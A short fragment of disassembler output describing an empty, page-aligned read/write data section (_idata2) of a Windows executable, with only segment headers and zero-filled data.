; Offset to raw data for section: 001BC000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 5BC000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start